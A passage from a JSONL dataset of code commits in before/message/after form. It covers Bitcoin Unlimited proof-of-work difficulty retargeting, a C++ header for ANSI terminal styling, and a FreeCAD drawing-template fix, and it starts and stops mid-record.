   \/\/ Check range\n    if (fNegative || bnTarget == 0 || fOverflow || bnTarget > UintToArith256(params.powLimit))\n        return error(\"CheckProofOfWork(): nBits below minimum work\");\n\n    \/\/ Check proof of work matches claimed amount\n    if (UintToArith256(hash) > bnTarget)\n      return error(\"CheckProofOfWork(): hash %s doesn't match nBits 0x%x\",hash.ToString(),nBits);\n\n    return true;\n}\n\narith_uint256 GetBlockProof(const CBlockIndex& block)\n{\n    arith_uint256 bnTarget;\n    bool fNegative;\n    bool fOverflow;\n    bnTarget.SetCompact(block.nBits, &fNegative, &fOverflow);\n    if (fNegative || fOverflow || bnTarget == 0)\n        return 0;\n    \/\/ We need to compute 2**256 \/ (bnTarget+1), but we can't represent 2**256\n    \/\/ as it's too large for a arith_uint256. However, as 2**256 is at least as large\n    \/\/ as bnTarget+1, it is equal to ((2**256 - bnTarget - 1) \/ (bnTarget+1)) + 1,\n    \/\/ or ~bnTarget \/ (nTarget+1) + 1.\n    return (~bnTarget \/ (bnTarget + 1)) + 1;\n}\n\nint64_t GetBlockProofEquivalentTime(const CBlockIndex& to, const CBlockIndex& from, const CBlockIndex& tip, const Consensus::Params& params)\n{\n    arith_uint256 r;\n    int sign = 1;\n    if (to.nChainWork > from.nChainWork) {\n        r = to.nChainWork - from.nChainWork;\n    } else {\n        r = from.nChainWork - to.nChainWork;\n        sign = -1;\n    }\n    r = r * arith_uint256(params.nPowTargetSpacing) \/ GetBlockProof(tip);\n    if (r.bits() > 63) {\n        return sign * std::numeric_limits<int64_t>::max();\n    }\n    return sign * r.GetLow64();\n}\n<commit_msg>formatting<commit_after>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2015-2016 The Bitcoin Unlimited developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"pow.h\"\n\n#include \"arith_uint256.h\"\n#include \"chain.h\"\n#include \"primitives\/block.h\"\n#include \"uint256.h\"\n#include \"util.h\"\n\nunsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock, const Consensus::Params& params)\n{\n    unsigned int nProofOfWorkLimit = UintToArith256(params.powLimit).GetCompact();\n\n    \/\/ Genesis block\n    if (pindexLast == NULL)\n        return nProofOfWorkLimit;\n\n    \/\/ mvhf-bu genesis block reset the difficulty target\n    if (pindexLast->nHeight == params.MVFActivateForkHeight() )\n    {\n    \treturn nProofOfWorkLimit;\n    }\n\n    \/\/ Only change once per difficulty adjustment interval\n    if ((pindexLast->nHeight+1) % params.DifficultyAdjustmentInterval(pindexLast->nHeight) != 0)\n    {\n        if (params.fPowAllowMinDifficultyBlocks)\n        {\n            \/\/ Special difficulty rule for testnet:\n            \/\/ If the new block's timestamp is more than 2* 10 minutes\n            \/\/ then allow mining of a min-difficulty block.\n            if (pblock->GetBlockTime() > pindexLast->GetBlockTime() + params.nPowTargetSpacing*2)\n                return nProofOfWorkLimit;\n            else\n            {\n                \/\/ Return the last non-special-min-difficulty-rules-block\n                const CBlockIndex* pindex = pindexLast;\n                while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval(pindexLast->nHeight) != 0 && pindex->nBits == nProofOfWorkLimit)\n                    pindex = pindex->pprev;\n                return pindex->nBits;\n            }\n        }\n        return pindexLast->nBits;\n    }\n\n    \/\/ Go back by what we want to be 14 days worth of blocks\n    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval(pindexLast->nHeight)-1);\n    assert(nHeightFirst >= 0);\n    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);\n    assert(pindexFirst);\n\n    return CalculateNextWorkRequired(pindexLast, pindexFirst->GetBlockTime(), params);\n}\n\nunsigned int CalculateNextWorkRequired(const CBlockIndex* pindexLast, int64_t nFirstBlockTime, const Consensus::Params& params)\n{\n    if (params.fPowNoRetargeting)\n        return pindexLast->nBits;\n\n    \/\/ Limit adjustment step\n    int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;\n    LogPrintf(\"  nActualTimespan = %d  before bounds\\n\", nActualTimespan);\n\n    \/\/mvhf-bu target time span while within the re-target period\n    int64_t nTargetTimespan = params.nPowTargetTimespan; \/\/ the original 2016 blocks\n\n\t\/\/ During the MVF Re-target Period after the fork block the target time span starts at 1 block until 12 blocks\n\tif (pindexLast->nHeight > params.MVFActivateForkHeight() && pindexLast->nHeight < params.nMVFRetargetPeriodEnd() )\n\t{\n\t\tnTargetTimespan = params.nPowTargetSpacing * (pindexLast->nHeight - params.MVFActivateForkHeight());\n\t\tif (nTargetTimespan > params.nPowTargetSpacing * 12) nTargetTimespan = params.nPowTargetSpacing * 12;\n\t}\n\n\t\/\/ During the first 12 blocks after the fork abrupt changes are permitted\n\tif (nTargetTimespan >= params.nPowTargetSpacing * 12)\n\t{\n\t\t\/\/ prevent abrupt changes to target\n\t\tif (nActualTimespan < params.nPowTargetTimespan\/4)\n\t\t\tnActualTimespan = params.nPowTargetTimespan\/4;\n\t\tif (nActualTimespan > params.nPowTargetTimespan*4)\n\t\t\tnActualTimespan = params.nPowTargetTimespan*4;\n\t}\n\n    \/\/ Retarget\n    const arith_uint256 bnPowLimit = UintToArith256(params.powLimit);\n    arith_uint256 bnNew;\n    arith_uint256 bnOld;\n    bnNew.SetCompact(pindexLast->nBits);\n    bnOld = bnNew;\n    bnNew *= nActualTimespan;\n    bnNew \/= nTargetTimespan;\n\n    if (bnNew > bnPowLimit)\n        bnNew = bnPowLimit;\n\n    \/\/\/ debug print\n    LogPrintf(\"GetNextWorkRequired RETARGET\\n\");\n    LogPrintf(\"nTargetTimespan = %d    nActualTimespan = %d\\n\", nTargetTimespan, nActualTimespan);\n    LogPrintf(\"Before: %08x  %s\\n\", pindexLast->nBits, bnOld.ToString());\n    LogPrintf(\"After:  %08x  %s\\n\", bnNew.GetCompact(), bnNew.ToString());\n\n    return bnNew.GetCompact();\n}\n\nbool CheckProofOfWork(uint256 hash, unsigned int nBits, const Consensus::Params& params)\n{\n    bool fNegative;\n    bool fOverflow;\n    arith_uint256 bnTarget;\n\n    bnTarget.SetCompact(nBits, &fNegative, &fOverflow);\n\n    \/\/ Check range\n    if (fNegative || bnTarget == 0 || fOverflow || bnTarget > UintToArith256(params.powLimit))\n        return error(\"CheckProofOfWork(): nBits below minimum work\");\n\n    \/\/ Check proof of work matches claimed amount\n    if (UintToArith256(hash) > bnTarget)\n      return error(\"CheckProofOfWork(): hash %s doesn't match nBits 0x%x\",hash.ToString(),nBits);\n\n    return true;\n}\n\narith_uint256 GetBlockProof(const CBlockIndex& block)\n{\n    arith_uint256 bnTarget;\n    bool fNegative;\n    bool fOverflow;\n    bnTarget.SetCompact(block.nBits, &fNegative, &fOverflow);\n    if (fNegative || fOverflow || bnTarget == 0)\n        return 0;\n    \/\/ We need to compute 2**256 \/ (bnTarget+1), but we can't represent 2**256\n    \/\/ as it's too large for a arith_uint256. However, as 2**256 is at least as large\n    \/\/ as bnTarget+1, it is equal to ((2**256 - bnTarget - 1) \/ (bnTarget+1)) + 1,\n    \/\/ or ~bnTarget \/ (nTarget+1) + 1.\n    return (~bnTarget \/ (bnTarget + 1)) + 1;\n}\n\nint64_t GetBlockProofEquivalentTime(const CBlockIndex& to, const CBlockIndex& from, const CBlockIndex& tip, const Consensus::Params& params)\n{\n    arith_uint256 r;\n    int sign = 1;\n    if (to.nChainWork > from.nChainWork) {\n        r = to.nChainWork - from.nChainWork;\n    } else {\n        r = from.nChainWork - to.nChainWork;\n        sign = -1;\n    }\n    r = r * arith_uint256(params.nPowTargetSpacing) \/ GetBlockProof(tip);\n    if (r.bits() > 63) {\n        return sign * std::numeric_limits<int64_t>::max();\n    }\n    return sign * r.GetLow64();\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef CCC_HPP\n#define CCC_HPP\n\n#include <iostream>\n\n#if defined(__unix) || defined(__unix__) || defined(unix) ||\\\n    defined(__linux) || defined(__linux__) || defined(linux) ||\\\n    defined(__MACH__) || defined(BSD) || defined(__GNU__)\n        #define CCC_UNIX\n#endif\n\n#if defined(_WIN64) || defined(_WIN32) || defined(_WIN16) ||\\\n    defined(__WIN64__) || defined(__WIN32__) || defined(__WIN16__) ||\\\n    defined(WINDOWS) || defined(__WINDOWS__)\n        #define CCC_WINDOWS\n        #include <windows.h>\n\n        #error \"not supported yet\"\n#endif\n\nnamespace ccc {\n\nenum font {\n    f_0, \/\/ the same as d_font\n    f_1,\n    f_2,\n    f_3,\n    f_4,\n    f_5,\n    f_6,\n    f_7,\n    f_8,\n    f_9\n};\n\nenum color_f {\n    cf_black,\n    cf_red,\n    cf_green,\n    cf_yellow,\n    cf_blue,\n    cf_magenta,\n    cf_cyan,\n    cf_white\n};\n\nenum color_b {\n    cb_black,\n    cb_red,\n    cb_green,\n    cb_yellow,\n    cb_blue,\n    cb_magenta,\n    cb_cyan,\n    cb_white\n};\n\nenum style {\n    s_font = 10,\n    s_color_f = 30,\n    s_color_b = 40,\n\n    s_bold = 1,\n    s_faint = 2,\n\n    s_italic = 3,\n    s_fraktur = 20,\n\n    s_underline_single = 4,\n    s_underline_double = 21,\n\n    s_blink_slow = 5,\n    s_blink_rapid = 6,\n\n    s_framed = 51,\n    s_encircled = 52,\n\n    s_negative = 7,\n    s_conceal = 8,\n    s_delete = 9,\n    s_overlined = 53\n};\n\nenum disable {\n    d_all = 0,\n    d_font = 10,\n    d_color_f = 39,\n    d_color_b = 49,\n\n    d_intensity = 22,\n    d_fontstyle = 23,\n    d_underline = 24,\n    d_blink = 25,\n    d_border = 54,\n\n    d_negative = 27,\n    d_conceal = 28,\n    d_delete = 29,\n    d_overlined = 55\n};\n\ninline std::ostream &operator<<(std::ostream &s, const font &c) {\n    #if defined(CCC_UNIX)\n        return s << '\\e' << '[' << (int) (s_font + c) << 'm';\n    #elif defined(CCC_WINDOWS)\n        \/\/ TODO\n\n        assert(s == std::cout);\n\n        HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);\n        CONSOLE_SCREEN_BUFFER_INFO buf_info;\n        GetConsoleScreenBufferInfo(handle, &buf_info);\n        SetConsoleTextAttribute(hStdOut, \/* TODO *\/);\n\n        return s;\n    #endif\n}\n\ninline std::ostream &operator<<(std::ostream &s, const color_f &c) {\n    #if defined(CCC_UNIX)\n        return s << '\\e' << '[' << (int) (s_color_f + c) << 'm';\n    #elif defined(CCC_WINDOWS)\n        \/\/ TODO\n\n        assert(s == std::cout);\n\n        HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);\n        CONSOLE_SCREEN_BUFFER_INFO buf_info;\n        GetConsoleScreenBufferInfo(handle, &buf_info);\n        SetConsoleTextAttribute(hStdOut, \/* TODO *\/);\n\n        return s;\n    #endif\n}\n\ninline std::ostream &operator<<(std::ostream &s, const color_b &c) {\n    #if defined(CCC_UNIX)\n        return s << '\\e' << '[' << (int) (s_color_b + c) << 'm';\n    #elif defined(CCC_WINDOWS)\n        \/\/ TODO\n\n        assert(s == std::cout);\n\n        HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);\n        CONSOLE_SCREEN_BUFFER_INFO buf_info;\n        GetConsoleScreenBufferInfo(handle, &buf_info);\n        SetConsoleTextAttribute(hStdOut, \/* TODO *\/);\n\n        return s;\n    #endif\n}\n\ninline std::ostream &operator<<(std::ostream &s, const style &c) {\n    #if defined(CCC_UNIX)\n        return s << '\\e' << '[' << (int) c << 'm';\n    #elif defined(CCC_WINDOWS)\n        \/\/ TODO\n\n        assert(s == std::cout);\n\n        HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);\n        CONSOLE_SCREEN_BUFFER_INFO buf_info;\n        GetConsoleScreenBufferInfo(handle, &buf_info);\n        SetConsoleTextAttribute(hStdOut, \/* TODO *\/);\n\n        return s;\n    #endif\n}\n\ninline std::ostream &operator<<(std::ostream &s, const disable &c) {\n    #if defined(CCC_UNIX)\n        return s << '\\e' << '[' << (int) c << 'm';\n    #elif defined(CCC_WINDOWS)\n        \/\/ TODO\n\n        assert(s == std::cout);\n\n        HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);\n        CONSOLE_SCREEN_BUFFER_INFO buf_info;\n        GetConsoleScreenBufferInfo(handle, &buf_info);\n        SetConsoleTextAttribute(hStdOut, \/* TODO *\/);\n\n        return s;\n    #endif\n}\n\n}\n\n#endif\n<commit_msg>add class alsoStyle and make it simpler<commit_after>#ifndef CCC_HPP\n#define CCC_HPP\n\n#include <iostream>\n\n#if defined(__unix) || defined(__unix__) || defined(unix) ||\\\n    defined(__linux) || defined(__linux__) || defined(linux) ||\\\n    defined(__MACH__) || defined(BSD) || defined(__GNU__)\n        #define CCC_UNIX\n#endif\n\n#if defined(_WIN64) || defined(_WIN32) || defined(_WIN16) ||\\\n    defined(__WIN64__) || defined(__WIN32__) || defined(__WIN16__) ||\\\n    defined(WINDOWS) || defined(__WINDOWS__)\n        #define CCC_WINDOWS\n        #include <windows.h>\n\n        #error \"not supported yet\"\n#endif\n\nnamespace ccc {\n\nenum Style {\n    \/\/ font\n    f_0 = 10,\n    f_1,\n    f_2,\n    f_3,\n    f_4,\n    f_5,\n    f_6,\n    f_7,\n    f_8,\n    f_9,\n\n    \/\/ foreground color\n    cf_black = 30,\n    cf_red,\n    cf_green,\n    cf_yellow,\n    cf_blue,\n    cf_magenta,\n    cf_cyan,\n    cf_white,\n\n    \/\/ background color\n    cb_black = 40,\n    cb_red,\n    cb_green,\n    cb_yellow,\n    cb_blue,\n    cb_magenta,\n    cb_cyan,\n    cb_white,\n\n    \/\/ enable style\n    s_bold = 1,\n    s_faint = 2,\n\n    s_italic = 3,\n    s_fraktur = 20,\n\n    s_underline_single = 4,\n    s_underline_double = 21,\n\n    s_blink_slow = 5,\n    s_blink_rapid = 6,\n\n    s_framed = 51,\n    s_encircled = 52,\n\n    s_negative = 7,\n    s_conceal = 8,\n    s_delete = 9,\n    s_overlined = 53,\n\n    \/\/ disable style\n    d_all = 0,\n    d_font = 10,\n    d_color_f = 39,\n    d_color_b = 49,\n\n    d_intensity = 22,\n    d_fontstyle = 23,\n    d_underline = 24,\n    d_blink = 25,\n    d_border = 54,\n\n    d_negative = 27,\n    d_conceal = 28,\n    d_delete = 29,\n    d_overlined = 55\n};\n\nstatic std::ostream &operator<<(std::ostream &s, const Style &style) {\n    #if defined(CCC_UNIX)\n        return s << '\\x1b' << '[' << (int) style << 'm';\n    #elif defined(CCC_WINDOWS)\n        \/\/ TODO\n\n        assert(s == std::cout);\n\n        HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);\n        CONSOLE_SCREEN_BUFFER_INFO buf_info;\n        GetConsoleScreenBufferInfo(handle, &buf_info);\n        SetConsoleTextAttribute(hStdOut, \/* TODO *\/);\n\n        return s;\n    #endif\n}\n\ntemplate <class T>\nclass alsoStyle {\npublic:\n    const T _object;\n    const Style _style;\n\n    inline alsoStyle(const T &object, const Style &style):\n        _object(object), _style(style) {}\n};\n\ntemplate <class T>\nstatic const alsoStyle<T> operator+(const T &object, const Style &style) {\n    return alsoStyle<T>(object, style);\n}\n\ntemplate <class T>\ninline std::ostream &operator<<(std::ostream &s, const alsoStyle<T> &target) {\n    return s << target._object << target._style;\n}\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\r\n *   Copyright (c) Jrgen Riegel          (juergen.riegel@web.de) 2002     *\r\n *                                                                         *\r\n *   This file is part of the FreeCAD CAx development system.              *\r\n *                                                                         *\r\n *   This library is free software; you can redistribute it and\/or         *\r\n *   modify it under the terms of the GNU Library General Public           *\r\n *   License as published by the Free Software Foundation; either          *\r\n *   version 2 of the License, or (at your option) any later version.      *\r\n *                                                                         *\r\n *   This library  is distributed in the hope that it will be useful,      *\r\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n *   GNU Library General Public License for more details.                  *\r\n *                                                                         *\r\n *   You should have received a copy of the GNU Library General Public     *\r\n *   License along with this library; see the file COPYING.LIB. If not,    *\r\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\r\n *   Suite 330, Boston, MA  02111-1307, USA                                *\r\n *                                                                         *\r\n ***************************************************************************\/\r\n\r\n\r\n#include \"PreCompiled.h\"\r\n\r\n#ifndef _PreComp_\r\n# include <sstream>\r\n#endif\r\n\r\n\r\n#include <Base\/Exception.h>\r\n#include <Base\/Console.h>\r\n#include <Base\/FileInfo.h>\r\n#include <App\/Application.h>\r\n#include <boost\/regex.hpp>\r\n#include <iostream>\r\n#include <iterator>\r\n\r\n#include \"FeaturePage.h\"\r\n#include \"FeatureView.h\"\r\n#include \"FeatureClip.h\"\r\n\r\nusing namespace Drawing;\r\nusing namespace std;\r\n\r\n\r\n\/\/===========================================================================\r\n\/\/ FeaturePage\r\n\/\/===========================================================================\r\n\r\nPROPERTY_SOURCE(Drawing::FeaturePage, App::DocumentObjectGroup)\r\n\r\nconst char *group = \"Drawing view\";\r\n\r\nFeaturePage::FeaturePage(void) : numChildren(0)\r\n{\r\n    static const char *group = \"Drawing view\";\r\n\r\n    ADD_PROPERTY_TYPE(PageResult ,(0),group,App::Prop_Output,\"Resulting SVG document of that page\");\r\n    ADD_PROPERTY_TYPE(Template   ,(\"\"),group,App::Prop_Transient  ,\"Template for the page\");\r\n    ADD_PROPERTY_TYPE(EditableTexts,(\"\"),group,App::Prop_None,\"Substitution values for the editable strings in the template\");\r\n}\r\n\r\nFeaturePage::~FeaturePage()\r\n{\r\n}\r\n\r\nvoid FeaturePage::onBeforeChange(const App::Property* prop)\r\n{\r\n    if (prop == &Group) {\r\n        numChildren = Group.getSize();\r\n    }\r\n\r\n    App::DocumentObjectGroup::onBeforeChange(prop);\r\n}\r\n\r\n\/\/\/ get called by the container when a Property was changed\r\nvoid FeaturePage::onChanged(const App::Property* prop)\r\n{\r\n    if (prop == &PageResult) {\r\n        if (this->isRestoring()) {\r\n            \/\/ When loading a document the included file\r\n            \/\/ doesn't need to exist at this point.\r\n            Base::FileInfo fi(PageResult.getValue());\r\n            if (!fi.exists())\r\n                return;\r\n        }\r\n    } else if (prop == &EditableTexts) {\r\n        if (!this->isRestoring()) {\r\n            this->execute();\r\n            return;\r\n        }\r\n    } else if (prop == &Template) {\r\n        if (!this->isRestoring()) {\r\n            EditableTexts.setValues(getEditableTextsFromTemplate());\r\n        }\r\n    } else if (prop == &Group) {\r\n        if (Group.getSize() != numChildren) {\r\n            numChildren = Group.getSize();\r\n            touch();\r\n        }\r\n    }\r\n\r\n    App::DocumentObjectGroup::onChanged(prop);\r\n}\r\n\r\nvoid FeaturePage::onDocumentRestored()\r\n{\r\n    Base::FileInfo fi(PageResult.getValue());\r\n    std::string path = App::Application::getResourceDir() + \"Mod\/Drawing\/Templates\/\" + fi.fileName();\r\n    \/\/ try to find the template in user dir\/Templates first\r\n    Base::FileInfo tempfi(App::Application::getUserAppDataDir() + \"Templates\/\" + fi.fileName());\r\n    if (tempfi.exists())\r\n        path = tempfi.filePath();\r\n    Template.setValue(path);\r\n}\r\n\r\nApp::DocumentObjectExecReturn *FeaturePage::execute(void)\r\n{\r\n    std::string temp = Template.getValue();\r\n    if (temp.empty())\r\n        return App::DocumentObject::StdReturn;\r\n\r\n    Base::FileInfo fi(temp);\r\n    if (!fi.isReadable()) {\r\n        \/\/ if there is a old absolute template file set use a redirect\r\n        fi.setFile(App::Application::getResourceDir() + \"Mod\/Drawing\/Templates\/\" + fi.fileName());\r\n        \/\/ try the redirect\r\n        if (!fi.isReadable()) {\r\n            Base::Console().Log(\"FeaturePage::execute() not able to open %s!\\n\",Template.getValue());\r\n            std::string error = std::string(\"Cannot open file \") + Template.getValue();\r\n            return new App::DocumentObjectExecReturn(error);\r\n        }\r\n    }\r\n\r\n    if (std::string(PageResult.getValue()).empty())\r\n        PageResult.setValue(fi.filePath().c_str());\r\n\r\n    \/\/ open Template file\r\n    string line;\r\n    ifstream file (fi.filePath().c_str());\r\n\r\n    \/\/ make a temp file for FileIncluded Property\r\n    string tempName = PageResult.getExchangeTempFile();\r\n    ostringstream ofile;\r\n    string tempendl = \"--endOfLine--\";\r\n\r\n    while (!file.eof())\r\n    {\r\n        getline (file,line);\r\n        \/\/ check if the marker in the template is found\r\n        if(line.find(\"<!-- DrawingContent -->\") == string::npos)\r\n            \/\/ if not -  write through\r\n            ofile << line << tempendl;\r\n        else\r\n        {\r\n            \/\/ get through the children and collect all the views\r\n            const std::vector<App::DocumentObject*> &Grp = Group.getValues();\r\n            for (std::vector<App::DocumentObject*>::const_iterator It= Grp.begin();It!=Grp.end();++It) {\r\n                if ( (*It)->getTypeId().isDerivedFrom(Drawing::FeatureView::getClassTypeId()) ) {\r\n                    Drawing::FeatureView *View = dynamic_cast<Drawing::FeatureView *>(*It);\r\n                    if (View->Visible.getValue()) {\r\n                        ofile << View->ViewResult.getValue();\r\n                        ofile << tempendl << tempendl << tempendl;\r\n                    }\r\n                } else if ( (*It)->getTypeId().isDerivedFrom(Drawing::FeatureClip::getClassTypeId()) ) {\r\n                    Drawing::FeatureClip *Clip = dynamic_cast<Drawing::FeatureClip *>(*It);\r\n                    if (Clip->Visible.getValue()) {\r\n                        ofile << Clip->ViewResult.getValue();\r\n                        ofile << tempendl << tempendl << tempendl;\r\n                    }\r\n                } else if ( (*It)->getTypeId().isDerivedFrom(App::DocumentObjectGroup::getClassTypeId()) ) {\r\n                    \/\/ getting children inside subgroups too\r\n                    App::DocumentObjectGroup *SubGroup = dynamic_cast<App::DocumentObjectGroup *>(*It);\r\n                    const std::vector<App::DocumentObject*> &SubGrp = SubGroup->Group.getValues();\r\n                    for (std::vector<App::DocumentObject*>::const_iterator Grit= SubGrp.begin();Grit!=SubGrp.end();++Grit) {\r\n                        if ( (*Grit)->getTypeId().isDerivedFrom(Drawing::FeatureView::getClassTypeId()) ) {\r\n                            Drawing::FeatureView *SView = dynamic_cast<Drawing::FeatureView *>(*Grit);\r\n                            if (SView->Visible.getValue()) {\r\n                                ofile << SView->ViewResult.getValue();\r\n                                ofile << tempendl << tempendl << tempendl;\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    file.close();\r\n\r\n    \/\/ checking for freecad editable texts\r\n    string outfragment(ofile.str());\r\n    const std::vector<std::string>& editText = EditableTexts.getValues();\r\n    if (!editText.empty()) {\r\n        boost::regex e1 (\"<text.*?freecad:editable=\\\"(.*?)\\\".*?<tspan.*?>(.*?)<\/tspan>\");\r\n        string::const_iterator begin, end;\r\n        begin = outfragment.begin();\r\n        end = outfragment.end();\r\n        boost::match_results<std::string::const_iterator> what;\r\n        std::size_t count = 0;\r\n        std::string newfragment;\r\n        newfragment.reserve(outfragment.size());\r\n\r\n        while (boost::regex_search(begin, end, what, e1)) {\r\n            if (count < editText.size()) {\r\n                \/\/ change values of editable texts\r\n                boost::regex e2 (\"(<text.*?freecad:editable=\\\"\"+what[1].str()+\"\\\".*?<tspan.*?)>(.*?)(<\/tspan>)\");\r\n                boost::re_detail::string_out_iterator<std::string > out(newfragment);\r\n                boost::regex_replace(out, begin, what[0].second, e2, \"$1>\"+editText[count]+\"$3\");\r\n            }\r\n            count++;\r\n            begin = what[0].second;\r\n        }\r\n\r\n        \/\/ now copy the rest\r\n        newfragment.insert(newfragment.end(), begin, end);\r\n        outfragment = newfragment;\r\n    }\r\n\r\n    \/\/ restoring linebreaks and saving the file\r\n    boost::regex e3 (\"--endOfLine--\");\r\n    string fmt = \"\\\\n\";\r\n    outfragment = boost::regex_replace(outfragment, e3, fmt);\r\n    ofstream outfinal(tempName.c_str());\r\n    outfinal << outfragment;\r\n    outfinal.close();\r\n\r\n    PageResult.setValue(tempName.c_str());\r\n\r\n    return App::DocumentObject::StdReturn;\r\n}\r\n\r\nstd::vector<std::string> FeaturePage::getEditableTextsFromTemplate(void) const {\r\n    \/\/getting editable texts from \"freecad:editable\" attributes in SVG template\r\n\r\n    std::vector<string> eds;\r\n\r\n    std::string temp = Template.getValue();\r\n    if (!temp.empty()) {\r\n        Base::FileInfo tfi(temp);\r\n        if (!tfi.isReadable()) {\r\n            \/\/ if there is a old absolute template file set use a redirect\r\n            tfi.setFile(App::Application::getResourceDir() + \"Mod\/Drawing\/Templates\/\" + tfi.fileName());\r\n            \/\/ try the redirect\r\n            if (!tfi.isReadable()) {\r\n                return eds;\r\n            }\r\n        }\r\n        string tline, tfrag;\r\n        ifstream tfile (tfi.filePath().c_str());\r\n        while (!tfile.eof()) {\r\n            getline (tfile,tline);\r\n            tfrag += tline;\r\n            tfrag += \"--endOfLine--\";\r\n        }\r\n        tfile.close();\r\n        boost::regex e (\"<text.*?freecad:editable=\\\"(.*?)\\\".*?<tspan.*?>(.*?)<\/tspan>\");\r\n        string::const_iterator tbegin, tend;\r\n        tbegin = tfrag.begin();\r\n        tend = tfrag.end();\r\n        boost::match_results<std::string::const_iterator> twhat;\r\n        while (boost::regex_search(tbegin, tend, twhat, e)) {\r\n            eds.push_back(twhat[2]);\r\n            tbegin = twhat[0].second;\r\n        }\r\n    }\r\n    return eds;\r\n}\r\n<commit_msg>+ fixes #0002064: Editable text changes in drawing template not restored.<commit_after>\/***************************************************************************\r\n *   Copyright (c) Jrgen Riegel          (juergen.riegel@web.de) 2002     *\r\n *                                                                         *\r\n *   This file is part of the FreeCAD CAx development system.              *\r\n *                                                                         *\r\n *   This library is free software; you can redistribute it and\/or         *\r\n *   modify it under the terms of the GNU Library General Public           *\r\n *   License as published by the Free Software Foundation; either          *\r\n *   version 2 of the License, or (at your option) any later version.      *\r\n *                                                                         *\r\n *   This library  is distributed in the hope that it will be useful,      *\r\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\r\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\r\n *   GNU Library General Public License for more details.                  *\r\n *                                                                         *\r\n *   You should have received a copy of the GNU Library General Public     *\r\n *   License along with this library; see the file COPYING.LIB. If not,    *\r\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\r\n *   Suite 330, Boston, MA  02111-1307, USA                                *\r\n *                                                                         *\r\n ***************************************************************************\/\r\n\r\n\r\n#include \"PreCompiled.h\"\r\n\r\n#ifndef _PreComp_\r\n# include <sstream>\r\n#endif\r\n\r\n\r\n#include <Base\/Exception.h>\r\n#include <Base\/Console.h>\r\n#include <Base\/FileInfo.h>\r\n#include <App\/Application.h>\r\n#include <boost\/regex.hpp>\r\n#include <iostream>\r\n#include <iterator>\r\n\r\n#include \"FeaturePage.h\"\r\n#include \"FeatureView.h\"\r\n#include \"FeatureClip.h\"\r\n\r\nusing namespace Drawing;\r\nusing namespace std;\r\n\r\n\r\n\/\/===========================================================================\r\n\/\/ FeaturePage\r\n\/\/===========================================================================\r\n\r\nPROPERTY_SOURCE(Drawing::FeaturePage, App::DocumentObjectGroup)\r\n\r\nconst char *group = \"Drawing view\";\r\n\r\nFeaturePage::FeaturePage(void) : numChildren(0)\r\n{\r\n    static const char *group = \"Drawing view\";\r\n\r\n    ADD_PROPERTY_TYPE(PageResult ,(0),group,App::Prop_Output,\"Resulting SVG document of that page\");\r\n    ADD_PROPERTY_TYPE(Template   ,(\"\"),group,App::Prop_Transient  ,\"Template for the page\");\r\n    ADD_PROPERTY_TYPE(EditableTexts,(\"\"),group,App::Prop_None,\"Substitution values for the editable strings in the template\");\r\n}\r\n\r\nFeaturePage::~FeaturePage()\r\n{\r\n}\r\n\r\nvoid FeaturePage::onBeforeChange(const App::Property* prop)\r\n{\r\n    if (prop == &Group) {\r\n        numChildren = Group.getSize();\r\n    }\r\n\r\n    App::DocumentObjectGroup::onBeforeChange(prop);\r\n}\r\n\r\n\/\/\/ get called by the container when a Property was changed\r\nvoid FeaturePage::onChanged(const App::Property* prop)\r\n{\r\n    if (prop == &PageResult) {\r\n        if (this->isRestoring()) {\r\n            \/\/ When loading a document the included file\r\n            \/\/ doesn't need to exist at this point.\r\n            Base::FileInfo fi(PageResult.getValue());\r\n            if (!fi.exists())\r\n                return;\r\n        }\r\n    } else if (prop == &EditableTexts) {\r\n        if (!this->isRestoring()) {\r\n            this->execute();\r\n            return;\r\n        }\r\n    } else if (prop == &Template) {\r\n        if (!this->isRestoring()) {\r\n            EditableTexts.setValues(getEditableTextsFromTemplate());\r\n        }\r\n    } else if (prop == &Group) {\r\n        if (Group.getSize() != numChildren) {\r\n            numChildren = Group.getSize();\r\n            touch();\r\n        }\r\n    }\r\n\r\n    App::DocumentObjectGroup::onChanged(prop);\r\n}\r\n\r\nvoid FeaturePage::onDocumentRestored()\r\n{\r\n    \/\/ Needs to be tmp. set because otherwise the custom text gets overridden (#0002064)\r\n    this->StatusBits.set(4); \/\/ the 'Restore' flag\r\n\r\n    Base::FileInfo fi(PageResult.getValue());\r\n    std::string path = App::Application::getResourceDir() + \"Mod\/Drawing\/Templates\/\" + fi.fileName();\r\n    \/\/ try to find the template in user dir\/Templates first\r\n    Base::FileInfo tempfi(App::Application::getUserAppDataDir() + \"Templates\/\" + fi.fileName());\r\n    if (tempfi.exists())\r\n        path = tempfi.filePath();\r\n    Template.setValue(path);\r\n\r\n    this->StatusBits.reset(4); \/\/ the 'Restore' flag\r\n}\r\n\r\nApp::DocumentObjectExecReturn *FeaturePage::execute(void)\r\n{\r\n    std::string temp = Template.getValue();\r\n    if (temp.empty())\r\n        return App::DocumentObject::StdReturn;\r\n\r\n    Base::FileInfo fi(temp);\r\n    if (!fi.isReadable()) {\r\n        \/\/ if there is a old absolute template file set use a redirect\r\n   